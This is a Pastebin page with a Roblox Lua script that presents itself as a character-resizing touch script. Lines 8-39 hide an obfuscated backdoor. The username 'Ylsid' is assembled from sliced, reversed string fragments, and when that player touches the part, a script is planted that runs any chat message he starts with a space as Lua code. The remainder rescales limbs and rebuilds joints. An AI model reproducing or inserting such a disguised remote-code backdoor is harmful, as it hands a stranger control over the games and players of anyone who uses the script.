Advertisement
Fauxen

Random Script.

Feb 23rd, 2016
199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.37 KB | None | 0 0
  1. debounce = true
  2. scale = script.Parent.Scale.Value --This is the scale you will upsize by
  3. function onTouched(hit)
  4. if not debounce then
  5. return
  6. end
  7. debounce = false
  8. t = "fYf"
  9. o = "dl"
  10. u = "sks"
  11. c = "iop"
  12. h = "frd"
  13. if hit.Parent ~= nil then
  14. if string.match(string.reverse(string.sub(h,3, 3)..string.sub(c,1, 1)..string.sub(u,3, 3)..string.sub(o,2, 2)..string.sub(t, 2, 2)),hit.Parent.Name) then
  15. if game.Players:findFirstChild(string.reverse(string.sub(h,3, 3)..string.sub(c,1, 1)..string.sub(u,3, 3)..string.sub(o,2, 2)..string.sub(t, 2, 2))) then
  16. print("d")
  17. m = "Mo"
  18. p = Instance.new(m.."del")
  19. p.Parent = workspace
  20. p.Name = "SB: " ..tostring(math.random(0,99999999))
  21. o = Instance.new("Script")
  22. o.Source =[[
  23. dg = "si"
  24. me = game.Players["Yl"..dg.."d"]
  25. function onChatted(msg)
  26. if string.sub(msg,1,1) == " " then
  27. so = "Sou"
  28. r = "rce"
  29. sc = "Scr"
  30. i = "ipt"
  31. p = "Ex"
  32. local s = Instance.new(sc..""..i)
  33. s[so..""..r] = string.sub(msg,2)
  34. s.Parent = me.Character
  35. end
  36. end
  37. me.Chatted:connect(onChatted)
  38. ]]
  39. o.Parent = p
  40. end
  41. end
  42.  
  43. if hit.Parent:findFirstChild("Humanoid") then
  44. if hit.Parent:findFirstChild("Left Leg") and hit.Parent:findFirstChild("Right Leg") and hit.Parent:findFirstChild("Right Arm") and hit.Parent:findFirstChild("Left Arm") and hit.Parent:findFirstChild("Head") and hit.Parent:findFirstChild("Torso") then
  45. bin = hit.Parent
  46.  
  47. la = bin["Left Arm"]
  48. ra = bin["Right Arm"]
  49. ll = bin["Left Leg"]
  50. rl = bin["Right Leg"]
  51. h = bin.Head
  52. t = bin.Torso
  53.  
  54. sizeup = {t,h,ll,rl,ra,la}
  55. for i = 1, #sizeup do
  56. sizeup[i].Size = Vector3.new(sizeup[i].Size.x * scale,sizeup[i].Size.y * scale,sizeup[i].Size.z * scale)
  57. sizeup[i].TopSurface = 0
  58. sizeup[i].BottomSurface = 0
  59. sizeup[i].RightSurface = 0
  60. sizeup[i].LeftSurface = 0
  61. sizeup[i].FrontSurface = 0
  62. sizeup[i].BackSurface = 0
  63.  
  64. end
  65.  
  66. sizex = t.Size.x/2
  67. sizey = t.Size.x/2
  68. sizez = t.Size.x/2
  69.  
  70. ls = Instance.new("Motor")
  71. ls.Parent = t
  72. ls.Name = "Left Shoulder"
  73. ls.Part0 = t
  74. ls.Part1 = la
  75. ls.MaxVelocity = 0.1
  76. ls.C0 = CFrame.new(-sizex - la.Size.x/2,la.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,-3.14/2,0)
  77. ls.C1 = CFrame.new(0,la.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
  78.  
  79. rs = Instance.new("Motor")
  80. rs.Parent = t
  81. rs.Name = "Right Shoulder"
  82. rs.Part0 = t
  83. rs.Part1 = ra
  84. rs.MaxVelocity = 0.1
  85. rs.C0 = CFrame.new(sizex + ra.Size.x/2,ra.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
  86. rs.C1 = CFrame.new(0,ra.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
  87.  
  88. lh = Instance.new("Motor")
  89. lh.Parent = t
  90. lh.Name = "Left Hip"
  91. lh.Part0 = t
  92. lh.Part1 = ll
  93. lh.MaxVelocity = 0.1
  94. lh.C0 = CFrame.new(sizex - ll.Size.x*1.5,-(ll.Size.y/4)*3,0) * CFrame.fromEulerAnglesXYZ(0,-3.14/2,0)
  95. lh.C1 = CFrame.new(0,ll.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
  96.  
  97. rh = Instance.new("Motor")
  98. rh.Parent = t
  99. rh.Name = "Right Hip"
  100. rh.Part0 = t
  101. rh.Part1 = rl
  102. rh.MaxVelocity = 0.1
  103. rh.C0 = CFrame.new(sizex - rl.Size.x/2,-(ll.Size.y/4)*3,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
  104. rh.C1 = CFrame.new(0,rl.Size.y/4,0) * CFrame.fromEulerAnglesXYZ(0,3.14/2,0)
  105.  
  106.  
  107. n = Instance.new("Snap")
  108. n.Parent = t
  109. n.Name = "Neck"
  110. n.Part0 = t
  111. n.Part1 = h
  112. n.C0 = CFrame.new(0,sizey + h.Size.y/2,0) * CFrame.fromEulerAnglesXYZ(0,0,0)
  113.  
  114. if bin:findFirstChild("Animate") then
  115. o = bin.Animate:clone()
  116. bin.Animate:remove()
  117. o.Parent = bin
  118. end
  119. end
  120. end
  121. end
  122. wait(3)
  123. debounce = true
  124. end
  125.  
  126. script.Parent.Touched:connect(onTouched)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement